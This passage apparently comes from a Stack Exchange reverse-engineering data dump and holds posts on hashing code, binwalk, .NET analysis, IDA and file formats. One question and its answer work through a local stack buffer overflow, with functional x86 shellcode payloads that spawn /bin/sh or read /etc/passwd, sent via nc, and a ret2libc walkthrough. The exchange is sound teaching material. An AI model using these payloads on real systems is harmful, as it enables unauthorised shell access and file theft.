0xFF);&#xA;  *(out_arr + 0xA) = (unsigned char) ((d8 &amp;gt;&amp;gt; 16) &amp;amp; 0xFF);&#xA;  *(out_arr + 9) = (unsigned char) ((d8 &amp;gt;&amp;gt; 8) &amp;amp; 0xFF);&#xA;  *(out_arr + 8) = (unsigned char) ((d8) &amp;amp; 0xFF);&#xA;&#xA;  *(out_arr + 0xF) = (unsigned char) ((d7 &amp;gt;&amp;gt; 24) &amp;amp; 0xFF);&#xA;  *(out_arr + 0xE) = (unsigned char) ((d7 &amp;gt;&amp;gt; 16) &amp;amp; 0xFF);&#xA;  *(out_arr + 0xD) = (unsigned char) ((d7 &amp;gt;&amp;gt; 8) &amp;amp; 0xFF);&#xA;  *(out_arr + 0xC) = (unsigned char) ((d7) &amp;amp; 0xFF);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19647" OwnerDisplayName="EmbeddedGuy" LastEditorUserId="18317" LastEditDate="2017-03-19T15:50:36.210" LastActivityDate="2018-04-20T23:27:42.963" Title="Is there a way to find out which hash standard by studying the source code?" Tags="|c|static-analysis|encryption|cryptography|hash-functions|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14952" PostTypeId="2" ParentId="14948" CreationDate="2017-03-19T13:16:37.220" Score="2" Body="&lt;p&gt;Binwalk is written on Python language. Please try pdb. Python debugger.&lt;/p&gt;&#xA;" OwnerUserId="8133" LastActivityDate="2017-03-19T13:16:37.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14954" PostTypeId="1" CreationDate="2017-03-19T14:36:51.290" Score="2" ViewCount="452" Body="&lt;p&gt;I read &lt;a href=&quot;https://stackoverflow.com/questions/36982618/is-fxcop-dead-can-we-use-it-with-vs2015-edition&quot;&gt;here&lt;/a&gt; that CAT.NET and FxCop are dead. As far as I understand, the successor Roslyn requires a visual studio project and source code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a tool that reads in a compiled .NET program and offers an API to do static data flow analysis?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-03-19T14:36:51.290" Title="Is there a static data flow analysis tool for .net assemblies?" Tags="|static-analysis|.net|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14955" PostTypeId="2" ParentId="14948" CreationDate="2017-03-19T14:39:10.600" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I tried to use &lt;code&gt;gdb&lt;/code&gt; to debug &lt;code&gt;binwalk&lt;/code&gt; but it results in the error message &quot;/usr/bin/binwalk&quot;: not in executable format: File format not recognized&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In order for &lt;code&gt;gdb&lt;/code&gt; to interface with a binary executable, the binary must have one of the following &lt;a href=&quot;https://sourceware.org/gdb/wiki/Internals%20Object-File-Formats&quot; rel=&quot;nofollow noreferrer&quot;&gt;object file formats&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a.out&lt;/li&gt;&#xA;&lt;li&gt;COFF&lt;/li&gt;&#xA;&lt;li&gt;ECOFF&lt;/li&gt;&#xA;&lt;li&gt;XCOFF&lt;/li&gt;&#xA;&lt;li&gt;PE&lt;/li&gt;&#xA;&lt;li&gt;ELF&lt;/li&gt;&#xA;&lt;li&gt;SOM&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The binary must also have intact section information, as &lt;code&gt;gdb&lt;/code&gt; relies on &lt;code&gt;libbfd&lt;/code&gt;. Since &lt;code&gt;binwalk&lt;/code&gt; is written in Python and interpreted by the Python interpreter instead of being compiled in to an executable binary that conforms to one of the aforementioned formats, &lt;code&gt;gdb&lt;/code&gt; cannot be used to dynamically analyze &lt;code&gt;binwalk&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My lecturers have requested that I debug binwalk in order to understand how it works and develop new features so that it can extract more.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If your primary goal is extending the functionality of &lt;code&gt;binwalk&lt;/code&gt;, then dynamically analyzing it may not be as productive as looking at &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;a href=&quot;https://github.com/devttys0/binwalk&quot; rel=&quot;nofollow noreferrer&quot;&gt;the source code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;as well as &lt;a href=&quot;https://github.com/devttys0/binwalk/wiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; on &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/devttys0/binwalk/wiki/Signature-File-Format&quot; rel=&quot;nofollow noreferrer&quot;&gt;The signature file format&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/devttys0/binwalk/wiki/Creating-Custom-Signatures&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating custom signatures&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/devttys0/binwalk/wiki/Creating-Custom-Plugins&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating custom plugins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/devttys0/binwalk/blob/master/API.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scripting with the API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But if &quot;debugging&quot; &lt;code&gt;binwalk&lt;/code&gt; is the primary focus, then &lt;a href=&quot;https://docs.python.org/2/library/pdb.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;pdb&lt;/a&gt; or using a Python IDE will work.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-03-19T14:39:10.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14956" PostTypeId="2" ParentId="14942" CreationDate="2017-03-20T09:20:50.077" Score="3" Body="&lt;p&gt;Since it's using raw bytes and not textual representation, it doesn't seem to be related to Intel HEX or Motorola S-Record at all. It's probably just some  custom chunk-based format developed by the manufacturer of the device (possibly inspired by Intel Hex though). I'd suggest you to RE the firmware updater program or the receiving part in the firmware, maybe it will have the code for handling the unknown record.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-03-20T09:20:50.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14957" PostTypeId="1" AcceptedAnswerId="14960" CreationDate="2017-03-20T16:21:58.800" Score="1" ViewCount="834" Body="&lt;p&gt;I have a server (for reference: &lt;a href=&quot;http://pastebin.com/ghJX69uH&quot; rel=&quot;nofollow noreferrer&quot;&gt;pastebin.com/ghJX69uH&lt;/a&gt;) that I can &lt;code&gt;netcat&lt;/code&gt; to and it will ask to input a message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it is vulnerable to buffer overflow, but I can't seem to get the shellcode to run. I have successfully pointed the return address back to the NOP slide and it hits the &lt;code&gt;/bin/sh&lt;/code&gt; but it does not spawn a shell. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;`python -c 'print &quot;\x90&quot;*65517 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot;  + &quot;\xac\xf3\xfe\xbf&quot;*10 + &quot;\n&quot;'`&quot; | nc 127.0.0.1 1111&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a simple buffer overflow with &lt;code&gt;[NOP SLIDE | SHELLCODE (spawn shell /bin/sh) | return address]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first image shows that the return address is &lt;code&gt;0xbffef3ac&lt;/code&gt; which goes to NOP sled, so all is OK! The second image shows a SIGSEGV with no shell, nothing happens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j1d41.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j1d41.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/s192d.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s192d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on here? I had a look at &lt;code&gt;ebp&lt;/code&gt; and it showed something weird: my &lt;code&gt;\x90&lt;/code&gt; followed by what should be my shellcode, but looking differently. Any insights on what could be wrong or how to go about this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xbffef42c: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xbffef43c: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xbffef44c: 0x90909090  0x50c03190  0x732f2f68  0x622f6868&#xA;0xbffef45c: 0xe3896e69  0xbffef468  0x00000000  0x6e69622f&#xA;0xbffef46c: 0x68732f2f  0x00000000  0xbffef3ac  0xbffef3ac&#xA;0xbffef47c: 0xbffef3ac  0xbffef3ac  0xbffef3ac  0xbffef3ac&#xA;0xbffef48c: 0xbffef3ac  0x00000000  0x00000000  0x00000000&#xA;0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: Format of code is from numberphile, shellcode is from &lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-827.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://shell-storm.org/shellcode/files/shellcode-827.php&lt;/a&gt;, which I ran and spawns a shell. I tried adding padding (I put A's) between shellcode and return address, but something strange happens again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;New code: echo &quot;`python -c 'print &quot;\x90&quot;*65490 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot;  + &quot;A&quot;*27 + &quot;\xac\xf4\xfe\xbf&quot; + &quot;\n&quot;'`&quot; | nc 127.0.0.1 1129&#xA;&#xA;&#xA;0xbffef42c: 0x90909090  0x90909090  0x90909090  0xc0319090&#xA;0xbffef43c: 0x2f2f6850  0x2f686873  0x896e6962  0x895350e3&#xA;0xbffef44c: 0xcd0bb0e1  0x41414180  0x41414141  0x41414141&#xA;0xbffef45c: 0x41414141  0x41414141  0x41414141  0x00000001&#xA;0xbffef46c: 0xbffef4ac  0x08049000  0x00000004  0xbffff4a4&#xA;0xbffef47c: 0xbffff490  0xbffff48c  0x00000004  0x00000000&#xA;0xbffef48c: 0x00000000  0x00000000  0x00000000  0x00000000&#xA;0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000&#xA;0xbffef4ac: 0x00000000  0x00000000  0x00000000  0x0000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: So i managed to successfully print all of the etc/passwd, but not sure why the /bin/sh shellcode doesnt work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Works: /etc/passwd&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;`python -c 'print &quot;\x90&quot;*65478+&quot;\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80&quot;  +&quot;AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf&quot; + &quot;\n&quot;'`&quot; | nc 127.0.0.1 2010&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Doesnt't work: /bin/sh&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;`python -c 'print &quot;\x90&quot;*65513 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot; + &quot;AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf\x9c&quot; + &quot;\n&quot;'`&quot; | nc 127.0.0.1 3003&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19581" LastEditorUserId="19581" LastEditDate="2017-03-21T21:55:59.713" LastActivityDate="2020-12-05T05:32:49.683" Title="Buffer overflow on server" Tags="|gdb|exploit|buffer-overflow|shellcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14958" PostTypeId="1" AcceptedAnswerId="14970" CreationDate="2017-03-20T16:30:24.757" Score="2" ViewCount="2806" Body="&lt;p&gt;So I have been exploring reverse engineering for the past few months and currently I am reversing a dumped executable which seems to be fully intact&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have stumbled upon something I can't seem to grasp/understand. When I reverse upwards to find out where some variable in a function originated from, I most of them time end up at &lt;code&gt;RUNTIME_FUNCTION&lt;/code&gt; xrefs. I get stuck here since I can't go up any further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My end goal is to find out the whole pointer chain from a static address to the target variable used in some function. I start searching upwards from a certain instruction and follow a certain variable, but unfortunately I get to the &lt;code&gt;RUNTIME_FUNCTION&lt;/code&gt; references when I am about 3 levels deep.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read that runtime functions have something to do with SEH. But I couldn't find any constructed information about this RUNTIME_FUNCTION in IDA. Shouldn't some variable always lead to some static address inside the .data section? Does someone know what is happening here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this image you can see that when I want to figure out what references/uses this function I only get those RUNTIME_FUNCTION's:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QSKQ6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QSKQ6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you normally go around this issue to get back on track and reverse further/beyond the RUNTIME_FUNCTION?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Executable segments:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MZcEa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MZcEa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="19582" LastActivityDate="2017-03-21T09:28:35.243" Title="Reversing variable origin (pointer chain) in IDA. Stuck on RUNTIME_FUNCTION XREF" Tags="|ida|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14960" PostTypeId="2" ParentId="14957" CreationDate="2017-03-20T22:58:15.503" Score="3" Body="&lt;p&gt;We have two major stack protection for buffer overflows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Stack canaries&lt;/li&gt;&#xA;&lt;li&gt;Non-executable stack&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You land on nopsled but, you get segmentation fault. Because your operating system marked program stack as non-executable and processor raises the exception when program counter addresses that segment. But, even we have an executable stack (for GCC use &lt;em&gt;-z execstack&lt;/em&gt;) your program crashes:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WswOt.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WswOt.jpg&quot; alt=&quot;Arithmetic exception&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I changed shellcode to read /etc/passwd, it works until another SIGSEGV. It is not relevant why your previous shellcode doesn't work, it is a practical problem.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/L2D4a.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L2D4a.jpg&quot; alt=&quot;/etc/passwd shellcode works&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For another scenario:&lt;/p&gt;&#xA;&lt;p&gt;How can we get around non-executable stack? The most common way is a method called &lt;strong&gt;ret2libc&lt;/strong&gt; (return to libc) using system(const char *). But, we will use _exit(int) for simplicity. For our new attack, I compiled it with non-executable stack option and send the same stream.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ nc localhost 1337 &amp;lt; exp.loit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Let's look our stack:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pe21L.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pe21L.jpg&quot; alt=&quot;Stack&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can't understand which part of your input overflows where and we need that to pass the argument(s). I tried a different payload to find what goes where:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;python -c 'print &amp;quot;\x90&amp;quot;*65482 + &amp;quot;\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80&amp;quot;  + &amp;quot;\x90&amp;quot;*12 + &amp;quot;\xac\xf3\xfe\xbf&amp;quot; +&amp;quot;\x00\x11\x22\x33&amp;quot;*2 + &amp;quot;\n&amp;quot;' &amp;gt; exp.loit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We get:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Eb9cw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Eb9cw.jpg&quot; alt=&quot;Stack for new input&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We just need _exit address&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ p &amp;amp;_exit&#xA;$1 = (&amp;lt;text variable, no debug info&amp;gt; *) 0xb7ec6f24 &amp;lt;_exit&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now we are ready to execute our exploit:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;python -c 'print &amp;quot;\x90&amp;quot;*65482 + &amp;quot;\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80&amp;quot;  + &amp;quot;\x90&amp;quot;*12 + &amp;quot;\x24\x6f\xec\xb7&amp;quot; +&amp;quot;\x01\x00\x00\x00&amp;quot;*2 + &amp;quot;\n&amp;quot;' &amp;gt; exp.loit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5rlnd.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5rlnd.jpg&quot; alt=&quot;Final exploit&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Basically ret2libc is that.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastEditorUserId="18804" LastEditDate="2020-12-05T05:32:49.683" LastActivityDate="2020-12-05T05:32:49.683" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="14963" PostTypeId="1" AcceptedAnswerId="14965" CreationDate="2017-03-21T02:46:15.157" Score="1" ViewCount="169" Body="&lt;p&gt;I have a small exe program that runs in a system32/cmd window, and when it is finished  running its small script it prompts the user to press enter to close.&#xA; I want to simply have the application close once the process is finished wihtout having to enter a keystroke.  How can I edit .exe file to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some line in HEX i can edit? What am I looking for?&lt;/p&gt;&#xA;" OwnerUserId="19543" LastEditorUserId="19543" LastEditDate="2017-03-21T07:07:34.380" LastActivityDate="2017-03-21T07:10:57.707" Title="edit CMD exe to not wait for confimation" Tags="|binary-editing|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14964" PostTypeId="2" ParentId="14941" CreationDate="2017-03-21T05:27:47.633" Score="1" Body="&lt;p&gt;This post consists of the results of preliminary analysis. Hopefully it saves other interested parties a little work.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Similar questions on SO&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/886177/possible-type-of-database-that-uses-dat-idx-files&quot;&gt;possible type of database that uses dat, idx files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/5320176/how-do-i-open-bin-idx-database-files?rq=1&quot;&gt;How do I open .bin/.idx database files?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3015255/what-database-uses-these-specific-type-of-dat-and-idx-files&quot;&gt;What database uses these specific type of .dat and .idx files?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And most interestingly: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/16246691/how-can-i-extract-data-from-dat-and-idx-files-of-scada-cimplicity-software&quot;&gt;How can I extract data from DAT and IDX files of SCADA CIMPLICITY software?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Preliminary Analysis&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SCAN00356-sample.dat&lt;/code&gt; and &lt;code&gt;SCAN00356.idx&lt;/code&gt; were examined. The full &lt;code&gt;.dat&lt;/code&gt; file, &lt;code&gt;SCAN00356.dat&lt;/code&gt;, is 4.0GB in size and too large load into memory on the VM being used and so has not been examined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;sample &lt;code&gt;.dat&lt;/code&gt; file &lt;code&gt;SCAN00356-sample.dat&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The structure of &lt;code&gt;SCAN00356-sample.dat&lt;/code&gt; is non-uniform:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CGlNQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CGlNQ.png&quot; alt=&quot;SCAN00356-sample.dat entropy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional visualization allows us to further appreciate the heterogeneous distribution of data within the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rY1uz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rY1uz.png&quot; alt=&quot;byteclass 1 small&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZCmLY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZCmLY.png&quot; alt=&quot;detail 1 small&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VSbtI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VSbtI.png&quot; alt=&quot;byteclass 2 small&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Vpj4G.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vpj4G.png&quot; alt=&quot;detail 2 small&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a very brief header in which the the string &quot;SCAN&quot; appears, composed of 16-bit characters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ hexdump -C -n 100 SCAN00356-sample.dat&#xA;00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 01 00 00  |................|&#xA;00000010  00 00 00 00 00 01 00 00  80 fa 6d 1c a5 8b d2 01  |..........m.....|&#xA;00000020  00 f1 d7 49 75 8f d2 01  e8 07 00 00 53 00 43 00  |...Iu.......S.C.|&#xA;00000030  41 00 4e 00 00 00 00 00  00 00 00 00 00 00 00 00  |A.N.............|&#xA;00000040  00 00 01 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;sample &lt;code&gt;.idx&lt;/code&gt; file &lt;code&gt;SCAN00356.idx&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike &lt;code&gt;SCAN00356-sample.dat&lt;/code&gt;, the structure of &lt;code&gt;SCAN00356.idx&lt;/code&gt; is fairly uniform:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/O8ugL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O8ugL.png&quot; alt=&quot;idx file entropy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visualization:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uousD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uousD.png&quot; alt=&quot;idx byteclass 1 small&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/o4Ks7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o4Ks7.png&quot; alt=&quot;idx detail 1 small&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SCAN00356.idx&lt;/code&gt; also has a very small header. The ASCII string &quot;dism&quot; appears here afterward, prior to the bulk of the encoded data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ hexdump -C -n 2208 SCAN00356.idx&#xA;00000000  fe 53 02 02 04 04 03 ff  00 01 07 04 00 08 00 00  |.S..............|&#xA;00000010  00 00 02 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000020  00 00 1f ac 54 00 00 f9  3d 03 8a f0 33 00 00 00  |....T...=...3...|&#xA;00000030  01 00 00 00 00 00 08 00  00 00 00 00 00 00 00 00  |................|&#xA;00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;000003f0  00 00 00 00 00 00 00 00  00 00 00 00 64 69 73 6d  |............dism|&#xA;00000400  00 1c 00 00 00 00 00 16  00 00 00 03 00 00 04 00  |................|&#xA;00000410  08 06 00 08 00 00 0d 00  02 00 16 05 00 00 00 00  |................|&#xA;00000420  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;000007f0  00 00 00 00 00 00 00 00  00 00 00 00 00 ff 7e 00  |..............~.|&#xA;00000800  02 9c 88 0a 00 00 ff f9  71 9f ce 72 2d 7e 00 00  |........q..r-~..|&#xA;00000810  00 00 a3 1e 0d 16 00 00  ff 77 18 28 86 72 2d 7e  |.........w.(.r-~|&#xA;00000820  00 00 00 00 4c d2 99 18  00 00 ff 03 71 b9 f1 72  |....L.......q..r|&#xA;00000830  2d 7e 00 00 00 00 a0 06  1e 28 00 00 ff 63 c4 ff  |-~.......(...c..|&#xA;00000840  ed 72 2d 7e 00 00 00 00  28 c3 94 35 00 00 7f c9  |.r-~....(..5....|&#xA;00000850  28 94 e2 72 2d 7e 00 00  00 00 a1 42 21 41 00 00  |(..r-~.....B!A..|&#xA;00000860  7f dd 10 f2 f1 72 2d 7e  00 00 00 00 4e 5e 24 51  |.....r-~....N^$Q|&#xA;00000870  00 00 ff 1c 82 c0 c5 72  2d 7e 00 00 00 00 95 50  |.......r-~.....P|&#xA;00000880  58 5b 00 00 7f 5c f5 c5  f1 72 2d 7e 00 00 00 00  |X[...\...r-~....|&#xA;00000890  16 34 02 69 00 00 ff 6f  79 56 e5 72 2d 7e 00 00  